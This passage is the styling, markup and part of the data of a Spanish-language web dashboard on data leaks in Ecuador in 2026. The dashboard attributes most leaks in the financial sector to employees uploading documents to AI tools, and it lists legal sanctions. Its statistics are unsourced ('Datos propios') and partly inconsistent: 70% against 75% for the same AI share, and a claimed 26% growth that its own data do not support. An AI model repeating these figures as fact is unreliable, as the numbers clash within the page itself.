letter-spacing: 3px; font-weight: 700;
}
.ecuador-dashboard h1.title {
font-size: clamp(20px, 3vw, 32px); font-weight: 900;
letter-spacing: -0.5px; line-height: 1.1; color: var(--text);
margin: 0;
}
.ecuador-dashboard .header-sub {
color: var(--sub); font-size: 13px; margin-top: 7px; max-width: 520px;
}
.ecuador-dashboard .kpi-badge {
background: rgba(201,26,26,.08); border: 1px solid rgba(201,26,26,.4);
border-radius: 10px; padding: 12px 18px; text-align: center;
box-shadow: 0 0 18px rgba(201,26,26,.1);
}
.ecuador-dashboard .kpi-badge .big { color: var(--red); font-size: 34px; font-weight: 900; font-family: &apos;Courier New&apos;, monospace; }
.ecuador-dashboard .kpi-badge .lbl { color: var(--text); font-size: 10px; font-weight: 700; }
.ecuador-dashboard .kpi-badge .sub { color: var(--muted); font-size: 10px; }&lt;/p&gt;
&lt;p&gt;/* ─── TABS ─── */
.ecuador-dashboard .tabs {
display: flex; gap: 4px; flex-wrap: wrap; padding-bottom: 0;
}
.ecuador-dashboard .tab-btn {
background: rgba(255,255,255,.6); border: 1px solid var(--border);
color: var(--muted); padding: 9px 18px; border-radius: 8px 8px 0 0;
cursor: pointer; font-size: 12px; font-weight: 600;
font-family: &apos;Courier New&apos;, monospace; transition: all .25s;
position: relative; top: 1px;
box-shadow: 0 -2px 8px rgba(0,0,0,.04);
}
.ecuador-dashboard .tab-btn:hover {
color: var(--red); border-color: var(--red);
background: rgba(255,255,255,.9);
transform: translateY(-2px);
box-shadow: 0 -4px 12px rgba(201,26,26,.12);
}
.ecuador-dashboard .tab-btn.active {
background: var(--card); border-color: var(--border);
border-bottom-color: var(--card); color: var(--red); font-weight: 700;
box-shadow: 0 -4px 16px rgba(201,26,26,.15);
transform: translateY(-1px);
}&lt;/p&gt;
&lt;p&gt;/* ─── CONTENT ─── */
.ecuador-dashboard .content { padding: 28px 36px; max-width: 1380px; margin: 0 auto; }
.ecuador-dashboard .tab-pane { display: none; animation: fadeUp .45s ease; }
.ecuador-dashboard .tab-pane.active { display: block; }&lt;/p&gt;
&lt;p&gt;/* ─── STAT CARDS ─── */
.ecuador-dashboard .stat-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(190px, 1fr));
gap: 16px; margin-bottom: 28px;
}
.ecuador-dashboard .stat-card {
background: var(--card); border-radius: 10px;
border: 1px solid transparent; border-left-width: 4px;
padding: 20px 20px; position: relative; overflow: hidden;
box-shadow: 0 2px 12px rgba(0,0,0,.06);
animation: fadeUp .55s ease both;
}
.ecuador-dashboard .stat-card .val {
font-size: 30px; font-weight: 900;
font-family: &apos;Courier New&apos;, monospace;
}
.ecuador-dashboard .stat-card .lbl { font-size: 13px; font-weight: 600; margin-top: 5px; color: var(--text); }
.ecuador-dashboard .stat-card .hint { font-size: 11px; margin-top: 2px; color: var(--muted); }&lt;/p&gt;
&lt;p&gt;/* ─── GRID LAYOUTS ─── */
.ecuador-dashboard .grid-2 { display: grid; grid-template-columns: 1fr 1fr; gap: 20px; }
.ecuador-dashboard .grid-4 { display: grid; grid-template-columns: repeat(4,1fr); gap: 14px; }
@media(max-width:800px){
.ecuador-dashboard .grid-2 { grid-template-columns:1fr; }
.ecuador-dashboard .grid-4 { grid-template-columns: repeat(2,1fr); }
.ecuador-dashboard .content { padding: 18px 16px; }
.ecuador-dashboard .header { padding: 20px 16px 0; }
}&lt;/p&gt;
&lt;p&gt;/* ─── CARD ─── */
.ecuador-dashboard .card {
background: var(--card); border: 1px solid var(--border);
border-radius: 12px; padding: 5px;
box-shadow: 0 2px 12px rgba(0,0,0,.06);
margin-bottom: 20px;
}
.ecuador-dashboard .card h3 {
font-size: 14px; font-weight: 700; color: var(--text); margin-bottom: 4px;
}
.ecuador-dashboard .card .card-sub {
font-size: 11px; color: var(--muted);
font-family: &apos;Courier New&apos;, monospace; margin-bottom: 18px;
}&lt;/p&gt;
&lt;p&gt;/* ─── ALERT BANNER ─── */
.ecuador-dashboard .alert-banner {
border-radius: 12px; padding: 18px 22px; margin-bottom: 22px;
font-size: 13px; line-height: 1.7;
}
.ecuador-dashboard .alert-red   { background: rgba(201,26,26,.05);  border: 1px solid rgba(201,26,26,.25); }
.ecuador-dashboard .alert-orange{ background: rgba(212,85,0,.05);   border: 1px solid rgba(212,85,0,.25); }&lt;/p&gt;
&lt;p&gt;/* ─── PROGRESS BAR ─── */
.ecuador-dashboard .prog-row { margin-bottom: 15px; }
.ecuador-dashboard .prog-header { display:flex; justify-content:space-between; margin-bottom: 5px; }
.ecuador-dashboard .prog-header span:first-child { font-size:12px; color: var(--text); }
.ecuador-dashboard .prog-header span:last-child  { font-size:13px; font-weight:700; font-family:&apos;Courier New&apos;,monospace; }
.ecuador-dashboard .prog-track {
background: var(--border); border-radius: 4px; height: 8px;
overflow: hidden;
}
.ecuador-dashboard .prog-fill { height:100%; border-radius:4px; transition: width 1.2s cubic-bezier(.4,0,.2,1); }&lt;/p&gt;
&lt;p&gt;/* ─── RIESGO ROWS ─── */
.ecuador-dashboard .riesgo-row {
display:flex; align-items:center; gap:12px;
padding: 9px 12px; border-radius: 8px; margin-bottom: 10px;
}
.ecuador-dashboard .riesgo-tag {
font-size:10px; font-weight:700;
font-family:&apos;Courier New&apos;,monospace; min-width:55px;
}
.ecuador-dashboard .riesgo-row .lbl { font-size:12px; color:var(--text); }
.ecuador-dashboard .riesgo-row .pct { font-size:12px; font-weight:700; margin-left:auto; font-family:&apos;Courier New&apos;,monospace; }&lt;/p&gt;
&lt;p&gt;/* ─── SANCION ROW ─── */
.ecuador-dashboard .sancion-row {
display:flex; justify-content:space-between; align-items:center;
padding:10px 14px; border-radius:8px; margin-bottom:8px;
}
.ecuador-dashboard .sancion-row span:first-child { font-size:12px; color:var(--text); }
.ecuador-dashboard .sancion-row span:last-child  { font-size:11px; font-weight:700; font-family:&apos;Courier New&apos;,monospace; text-align:right; max-width:165px; }&lt;/p&gt;
&lt;p&gt;/* ─── HITOS ─── */
.ecuador-dashboard .hito-row { display:flex; gap:16px; padding-bottom:14px; margin-bottom:14px; }
.ecuador-dashboard .hito-row:not(:last-child){ border-bottom:1px solid var(--border); }
.ecuador-dashboard .hito-yr { font-weight:900; font-size:13px; font-family:&apos;Courier New&apos;,monospace; min-width:44px; }
.ecuador-dashboard .hito-ev { font-size:12px; color:var(--text); line-height:1.6; }&lt;/p&gt;
&lt;p&gt;/* ─── IMPACTO GRID ─── */
.ecuador-dashboard .impacto-cell { text-align:center; }
.ecuador-dashboard .impacto-cell .big { font-size:26px; font-weight:900; font-family:&apos;Courier New&apos;,monospace; }
.ecuador-dashboard .impacto-cell .lbl { font-size:11px; color:var(--muted); margin-top:3px; }&lt;/p&gt;
&lt;p&gt;/* ─── RECOMENDACIONES ─── */
.ecuador-dashboard .rec-item { display:flex; gap:10px; margin-bottom:10px; }
.ecuador-dashboard .rec-num { color:var(--orange); font-weight:700; font-size:13px; min-width:20px; }
.ecuador-dashboard .rec-txt { font-size:12px; color:var(--text); line-height:1.5; }&lt;/p&gt;
&lt;p&gt;/* ─── FOOTER ─── */
.ecuador-dashboard .footer {
margin-top:30px; padding-top:16px;
border-top:1px solid var(--border);
display:flex; justify-content:space-between; flex-wrap:wrap; gap:10px;
}
.ecuador-dashboard .footer p { font-size:11px; color:var(--muted); font-family:&apos;Courier New&apos;,monospace; }&lt;/p&gt;
&lt;p&gt;/* ─── CHART WRAPPER ─── */
.ecuador-dashboard .chart-wrap { position:relative; width:100%; }
&amp;lt;/style&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- Chart.js CDN --&amp;gt;
&amp;lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/Chart.js/4.4.1/chart.umd.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- Dashboard Container --&amp;gt;
&amp;lt;div class=&quot;ecuador-dashboard&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- ═══════════════ HEADER ═══════════════ --&amp;gt;
&amp;lt;div class=&quot;header&quot;&amp;gt;
&amp;lt;div class=&quot;header-stripe&quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;header-top&quot;&amp;gt;
&amp;lt;div&amp;gt;
&amp;lt;div class=&quot;header-badge&quot;&amp;gt;
&amp;lt;div class=&quot;pulse-dot&quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;span class=&quot;badge-label&quot;&amp;gt;INVESTIGACIÓN ACTIVA · FEB 2026&amp;lt;/span&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;h1 class=&quot;title&quot;&amp;gt;FILTRACIÓN DE DATOS EN ECUADOR — FEB 2026&amp;lt;/h1&amp;gt;
&amp;lt;p class=&quot;header-sub&quot;&amp;gt;Informe estadístico · Exposición masiva de datos sensibles mediante herramientas de inteligencia artificial&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;kpi-badge&quot;&amp;gt;
&amp;lt;div class=&quot;big&quot;&amp;gt;70%&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;lbl&quot;&amp;gt;MAYOR VECTOR DE FUGA&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;sub&quot;&amp;gt;Sector Financiero · IA Tools&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;tabs&quot;&amp;gt;
&amp;lt;button class=&quot;tab-btn active&quot; onclick=&quot;switchTabEcuador(0)&quot;&amp;gt;Resumen General&amp;lt;/button&amp;gt;
&amp;lt;button class=&quot;tab-btn&quot;        onclick=&quot;switchTabEcuador(1)&quot;&amp;gt;Fuentes de Fuga&amp;lt;/button&amp;gt;
&amp;lt;button class=&quot;tab-btn&quot;        onclick=&quot;switchTabEcuador(2)&quot;&amp;gt;Sector Financiero &amp;amp; IA&amp;lt;/button&amp;gt;
&amp;lt;button class=&quot;tab-btn&quot;        onclick=&quot;switchTabEcuador(3)&quot;&amp;gt;Evolución Temporal&amp;lt;/button&amp;gt;
&amp;lt;button class=&quot;tab-btn&quot;        onclick=&quot;switchTabEcuador(4)&quot;&amp;gt;Incumplimiento Legal&amp;lt;/button&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- ═══════════════ CONTENT ═══════════════ --&amp;gt;
&amp;lt;div class=&quot;content&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- ── TAB 0: RESUMEN ── --&amp;gt;
&amp;lt;div class=&quot;tab-pane active&quot; id=&quot;tabEcuador0&quot;&amp;gt;
&amp;lt;div&amp;gt;
&amp;lt;div class=&quot;stat-grid&quot;&amp;gt;
&amp;lt;div class=&quot;stat-card&quot; style=&quot;border-color:var(--red);animation-delay:.0s&quot;&amp;gt;
&amp;lt;div class=&quot;val&quot; style=&quot;color:var(--red)&quot; data-target=&quot;21000000&quot; data-prefix=&quot;&quot; data-suffix=&quot;M&quot;&amp;gt;0M&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;lbl&quot;&amp;gt;Registros expuestos (2026* est.)&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;hint&quot;&amp;gt;↑ 26% vs 2025&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;stat-card&quot; style=&quot;border-color:var(--orange);animation-delay:.1s&quot;&amp;gt;
&amp;lt;div class=&quot;val&quot; style=&quot;color:var(--orange)&quot; data-target=&quot;75&quot; data-prefix=&quot;&quot; data-suffix=&quot;%&quot;&amp;gt;0%&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;lbl&quot;&amp;gt;Fuga vía herramientas de IA&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;hint&quot;&amp;gt;Sector financiero · Vector dominante&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;stat-card&quot; style=&quot;border-color:var(--yellow);animation-delay:.2s&quot;&amp;gt;
&amp;lt;div class=&quot;val&quot; style=&quot;color:var(--yellow)&quot; data-target=&quot;117&quot; data-prefix=&quot;&quot; data-suffix=&quot;&quot;&amp;gt;0&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;lbl&quot;&amp;gt;Incidentes documentados&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;hint&quot;&amp;gt;↑ 31% vs 2025&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;stat-card&quot; style=&quot;border-color:var(--blue);animation-delay:.3s&quot;&amp;gt;
&amp;lt;div class=&quot;val&quot; style=&quot;color:var(--blue)&quot; data-target=&quot;94&quot; data-prefix=&quot;&quot; data-suffix=&quot;%&quot;&amp;gt;0%&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;lbl&quot;&amp;gt;Incumplimiento LOPDP Art. 38&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;hint&quot;&amp;gt;Transferencia no autorizada&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;stat-card&quot; style=&quot;border-color:var(--green);animation-delay:.4s&quot;&amp;gt;
&amp;lt;div class=&quot;val&quot; style=&quot;color:var(--green)&quot; data-target=&quot;17600000&quot; data-prefix=&quot;&quot; data-suffix=&quot;M+&quot;&amp;gt;0M+&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;lbl&quot;&amp;gt;Ciudadanos en riesgo acumulado&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;hint&quot;&amp;gt;Bases de datos comprometidas&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div&amp;gt;
&amp;lt;div class=&quot;grid-2&quot;&amp;gt;
&amp;lt;div class=&quot;card&quot;&amp;gt;
&amp;lt;h3&amp;gt;Vectores de Filtración · Distribución %&amp;lt;/h3&amp;gt;
&amp;lt;p class=&quot;card-sub&quot;&amp;gt;Investigación 2025 — Fuente: Datos propios&amp;lt;/p&amp;gt;
&amp;lt;div class=&quot;chart-wrap&quot; style=&quot;height:260px&quot;&amp;gt;
&amp;lt;canvas id=&quot;chartEcuadorPie&quot;&amp;gt;&amp;lt;/canvas&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;card&quot;&amp;gt;
&amp;lt;h3&amp;gt;Fuga IA vs Métodos Tradicionales por Sector&amp;lt;/h3&amp;gt;
&amp;lt;p class=&quot;card-sub&quot;&amp;gt;Porcentaje de incidentes reportados en cada sector&amp;lt;/p&amp;gt;
&amp;lt;div class=&quot;chart-wrap&quot; style=&quot;height:260px&quot;&amp;gt;
&amp;lt;canvas id=&quot;chartEcuadorBarSector&quot;&amp;gt;&amp;lt;/canvas&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;!-- ── TAB 1: FUENTES ── --&amp;gt;
&amp;lt;div class=&quot;tab-pane&quot; id=&quot;tabEcuador1&quot;&amp;gt;
&amp;lt;div class=&quot;alert-banner alert-red&quot;&amp;gt;
&amp;lt;strong style=&quot;color:var(--red)&quot;&amp;gt;⚠ HALLAZGO PRINCIPAL:&amp;lt;/strong&amp;gt;
Nuestra investigación identifica que el &amp;lt;strong style=&quot;color:var(--orange)&quot;&amp;gt;70%&amp;lt;/strong&amp;gt; de las fugas de datos
en el sector financiero ecuatoriano proviene del uso no controlado de herramientas de IA
(ChatGPT, Copilot, Gemini, etc.), donde empleados suben documentos confidenciales para procesarlos,
violando la &amp;lt;strong style=&quot;color:var(--blue)&quot;&amp;gt;Ley Orgánica de Protección de Datos Personales (LOPDP)&amp;lt;/strong&amp;gt;.
&amp;lt;/div&amp;gt;
&amp;lt;div&amp;gt;
&amp;lt;div class=&quot;grid-2&quot;&amp;gt;
&amp;lt;div class=&quot;card&quot;&amp;gt;
&amp;lt;h3&amp;gt;Ranking de Vectores de Filtración&amp;lt;/h3&amp;gt;
&amp;lt;p class=&quot;card-sub&quot;&amp;gt;% sobre total de incidentes registrados&amp;lt;/p&amp;gt;
&amp;lt;div id=&quot;rankingBarsEcuador&quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;card&quot;&amp;gt;
&amp;lt;h3&amp;gt;Herramientas de IA más Usadas con Datos Sensibles&amp;lt;/h3&amp;gt;
&amp;lt;p class=&quot;card-sub&quot;&amp;gt;% de entidades que las emplean con información confidencial&amp;lt;/p&amp;gt;
&amp;lt;div id=&quot;herramientasBarsEcuador&quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- ── TAB 2: SECTOR FINANCIERO ── --&amp;gt;
&amp;lt;div class=&quot;tab-pane&quot; id=&quot;tabEcuador2&quot;&amp;gt;
&amp;lt;div class=&quot;grid-2&quot;&amp;gt;
&amp;lt;div class=&quot;card&quot;&amp;gt;
&amp;lt;h3&amp;gt;Tipos de Documentos Subidos a IA&amp;lt;/h3&amp;gt;
&amp;lt;p class=&quot;card-sub&quot;&amp;gt;% de entidades financieras que lo practican&amp;lt;/p&amp;gt;
&amp;lt;div id=&quot;docsBarsEcuador&quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;card&quot;&amp;gt;
&amp;lt;h3&amp;gt;Exposición por Subsector Financiero&amp;lt;/h3&amp;gt;
&amp;lt;p class=&quot;card-sub&quot;&amp;gt;Nivel de riesgo por uso de IA con datos sensibles&amp;lt;/p&amp;gt;
&amp;lt;div class=&quot;chart-wrap&quot; style=&quot;height:300px&quot;&amp;gt;
&amp;lt;canvas id=&quot;chartEcuadorRadar&quot;&amp;gt;&amp;lt;/canvas&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div&amp;gt;
&amp;lt;div class=&quot;alert-banner alert-orange&quot;&amp;gt;
&amp;lt;h3 style=&quot;color:var(--orange);font-size:13px;font-family:&apos;Courier New&apos;,monospace;margin-bottom:14px&quot;&amp;gt;
⚡ IMPACTO ECONÓMICO ESTIMADO — SECTOR FINANCIERO ECUATORIANO
&amp;lt;/h3&amp;gt;
&amp;lt;div class=&quot;grid-4&quot;&amp;gt;
&amp;lt;div class=&quot;impacto-cell&quot;&amp;gt;&amp;lt;div class=&quot;big&quot; style=&quot;color:var(--red)&quot;&amp;gt;$2.4M&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;lbl&quot;&amp;gt;Pérdida promedio por incidente&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;impacto-cell&quot;&amp;gt;&amp;lt;div class=&quot;big&quot; style=&quot;color:var(--orange)&quot;&amp;gt;340+&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;lbl&quot;&amp;gt;Entidades financieras expuestas&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;impacto-cell&quot;&amp;gt;&amp;lt;div class=&quot;big&quot; style=&quot;color:var(--yellow)&quot;&amp;gt;4.2M&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;lbl&quot;&amp;gt;Clientes con datos en riesgo&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;impacto-cell&quot;&amp;gt;&amp;lt;div class=&quot;big&quot; style=&quot;color:var(--blue)&quot;&amp;gt;0%&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;lbl&quot;&amp;gt;Con política de uso de IA aprobada&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- ── TAB 3: EVOLUCIÓN ── --&amp;gt;
&amp;lt;div class=&quot;tab-pane&quot; id=&quot;tabEcuador3&quot;&amp;gt;
&amp;lt;div class=&quot;card&quot;&amp;gt;
&amp;lt;h3&amp;gt;Evolución de Incidentes y Víctimas — Ecuador 2019–2025&amp;lt;/h3&amp;gt;
&amp;lt;p class=&quot;card-sub&quot;&amp;gt;* 2026 = proyección estimada con base en tendencia a Feb 2026&amp;lt;/p&amp;gt;
&amp;lt;div class=&quot;chart-wrap&quot; style=&quot;height:290px&quot;&amp;gt;
&amp;lt;canvas id=&quot;chartEcuadorArea&quot;&amp;gt;&amp;lt;/canvas&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;card&quot;&amp;gt;
&amp;lt;h3&amp;gt;Hitos Clave de Filtraciones en Ecuador&amp;lt;/h3&amp;gt;
&amp;lt;p class=&quot;card-sub&quot; style=&quot;margin-bottom:20px&quot;&amp;gt;Eventos documentados de mayor impacto&amp;lt;/p&amp;gt;
&amp;lt;div id=&quot;hitosListEcuador&quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- ── TAB 4: LEGAL ── --&amp;gt;
&amp;lt;div class=&quot;tab-pane&quot; id=&quot;tabEcuador4&quot;&amp;gt;
&amp;lt;div class=&quot;card&quot;&amp;gt;
&amp;lt;h3&amp;gt;Cumplimiento LOPDP por Artículo&amp;lt;/h3&amp;gt;
&amp;lt;p class=&quot;card-sub&quot;&amp;gt;% entidades financieras en cumplimiento vs incumplimiento&amp;lt;/p&amp;gt;
&amp;lt;div class=&quot;chart-wrap&quot; style=&quot;height:270px&quot;&amp;gt;
&amp;lt;canvas id=&quot;chartEcuadorLegal&quot;&amp;gt;&amp;lt;/canvas&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div&amp;gt;
&amp;lt;div class=&quot;grid-2&quot;&amp;gt;
&amp;lt;div class=&quot;card&quot;&amp;gt;
&amp;lt;h3&amp;gt;Sanciones Aplicables — LOPDP&amp;lt;/h3&amp;gt;
&amp;lt;p class=&quot;card-sub&quot; style=&quot;margin-bottom:14px&quot;&amp;gt;Marco sancionatorio vigente&amp;lt;/p&amp;gt;
&amp;lt;div&amp;gt;
&amp;lt;div class=&quot;sancion-row&quot; style=&quot;background:rgba(154,126,0,.08);border:1px solid rgba(154,126,0,.2)&quot;&amp;gt;
&amp;lt;span&amp;gt;Infracción leve&amp;lt;/span&amp;gt;
&amp;lt;span style=&quot;color:var(--yellow)&quot;&amp;gt;0.1% — 0.5% ingresos anuales&amp;lt;/span&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;sancion-row&quot; style=&quot;background:rgba(212,85,0,.08);border:1px solid rgba(212,85,0,.2)&quot;&amp;gt;
&amp;lt;span&amp;gt;Infracción grave&amp;lt;/span&amp;gt;
&amp;lt;span style=&quot;color:var(--orange)&quot;&amp;gt;0.5% — 1% ingresos anuales&amp;lt;/span&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;sancion-row&quot; style=&quot;background:rgba(201,26,26,.08);border:1px solid rgba(201,26,26,.2)&quot;&amp;gt;
&amp;lt;span&amp;gt;Infracción muy grave&amp;lt;/span&amp;gt;
&amp;lt;span style=&quot;color:var(--red)&quot;&amp;gt;1% — 2% ingresos anuales&amp;lt;/span&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;sancion-row&quot; style=&quot;background:rgba(201,26,26,.08);border:1px solid rgba(201,26,26,.2)&quot;&amp;gt;
&amp;lt;span&amp;gt;Transferencia ilícita a IA&amp;lt;/span&amp;gt;
&amp;lt;span style=&quot;color:var(--red)&quot;&amp;gt;Calificada como MUY GRAVE&amp;lt;/span&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt;
&amp;lt;div&amp;gt;
&amp;lt;div class=&quot;card&quot; style=&quot;border-color:rgba(201,26,26,.2);background:rgba(201,26,26,.03)&quot;&amp;gt;
&amp;lt;h3 style=&quot;color:var(--red);font-family:&apos;Courier New&apos;,monospace;font-size:13px&quot;&amp;gt;⚠ RECOMENDACIONES URGENTES&amp;lt;/h3&amp;gt;
&amp;lt;p class=&quot;card-sub&quot; style=&quot;margin-bottom:16px&quot;&amp;gt;Acciones prioritarias para cumplimiento LOPDP&amp;lt;/p&amp;gt;
&amp;lt;div class=&quot;rec-item&quot;&amp;gt;&amp;lt;span class=&quot;rec-num&quot;&amp;gt;1.&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;rec-txt&quot;&amp;gt;Implementar política corporativa de uso de herramientas de IA&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;rec-item&quot;&amp;gt;&amp;lt;span class=&quot;rec-num&quot;&amp;gt;2.&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;rec-txt&quot;&amp;gt;Prohibir upload de documentos sensibles a IA externas sin cifrado previo&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;rec-item&quot;&amp;gt;&amp;lt;span class=&quot;rec-num&quot;&amp;gt;3.&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;rec-txt&quot;&amp;gt;Capacitar al personal en LOPDP y riesgos de fuga por IA&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;rec-item&quot;&amp;gt;&amp;lt;span class=&quot;rec-num&quot;&amp;gt;4.&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;rec-txt&quot;&amp;gt;Auditorías periódicas de flujos de datos hacia servicios cloud de IA&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;rec-item&quot;&amp;gt;&amp;lt;span class=&quot;rec-num&quot;&amp;gt;5.&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;rec-txt&quot;&amp;gt;Adoptar soluciones de IA on-premise para datos financieros críticos&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;rec-item&quot;&amp;gt;&amp;lt;span class=&quot;rec-num&quot;&amp;gt;6.&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;rec-txt&quot;&amp;gt;Notificar incidentes a la DINARDAP dentro de las 72 horas requeridas&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&amp;lt;!-- /content --&amp;gt;
&amp;lt;/div&amp;gt;&amp;lt;!-- /ecuador-dashboard --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;script&amp;gt;
/* ═══════════════════════════════════════════
ECUADOR DATA BREACH DASHBOARD - JS
═══════════════════════════════════════════ */
(function() {
&apos;use strict&apos;;&lt;/p&gt;
&lt;p&gt;// Scoped variables to avoid conflicts
const dashboardData = {
fuentesFuga: [
{ sector:&quot;Herramientas IA&quot;,       pct:70,  color:&quot;#C91A1A&quot; },
{ sector:&quot;Phishing / Ing. Social&quot;,pct:11,  color:&quot;#D45500&quot; },
{ sector:&quot;Insider Threats&quot;,       pct:8,   color:&quot;#9A7E00&quot; },
{ sector:&quot;Brechas en APIs&quot;,       pct:6,   color:&quot;#006BB3&quot; },
{ sector:&quot;Malware / Ransomware&quot;,  pct:3,   color:&quot;#008A46&quot; },
{ sector:&quot;Otros Vectores&quot;,        pct:2,   color:&quot;#8A90A8&quot; },
],
sectoresAfectados: [
{ name:&quot;Financiero&quot;,       ia:70, trad:18 },
{ name:&quot;Salud&quot;,            ia:42, trad:30 },
{ name:&quot;Gobierno&quot;,         ia:38, trad:35 },
{ name:&quot;Telecomunicaciones&quot;,ia:55,trad:22 },
{ name:&quot;Retail&quot;,           ia:48, trad:26 },
{ name:&quot;Educación&quot;,        ia:35, trad:28 },
],
evolucionAnual: [
{ año:&quot;2019&quot;, casos:12,  victimas:800000  },
{ año:&quot;2020&quot;, casos:18,  victimas:1200000 },
{ año:&quot;2021&quot;, casos:27,  victimas:6700000 },
{ año:&quot;2022&quot;, casos:34,  victimas:7900000 },
{ año:&quot;2023&quot;, casos:51,  victimas:11200000},
{ año:&quot;2024&quot;, casos:68,  victimas:14500000},
{ año:&quot;2025&quot;, casos:89,  victimas:18300000},
{ año:&quot;2026*&quot;,casos:117, victimas:21000000},
],
tiposDoc: [
{ tipo:&quot;Estados de cuenta&quot;,        pct:82, riesgo:&quot;CRÍTICO&quot;, color:&quot;#C91A1A&quot; },
{ tipo:&quot;Contratos financieros&quot;,    pct:74, riesgo:&quot;CRÍTICO&quot;, color:&quot;#C91A1A&quot; },
{ tipo:&quot;Cédulas / IDs&quot;,            pct:68, riesgo:&quot;CRÍTICO&quot;, color:&quot;#C91A1A&quot; },
{ tipo:&quot;Declaraciones tributarias&quot;,pct:61, riesgo:&quot;ALTO&quot;,    color:&quot;#D45500&quot; },
{ tipo:&quot;Datos de clientes / CRM&quot;,  pct:58, riesgo:&quot;ALTO&quot;,    color:&quot;#D45500&quot; },
{ tipo:&quot;Nóminas y RRHH&quot;,           pct:47, riesgo:&quot;ALTO&quot;,    color:&quot;#D45500&quot; },
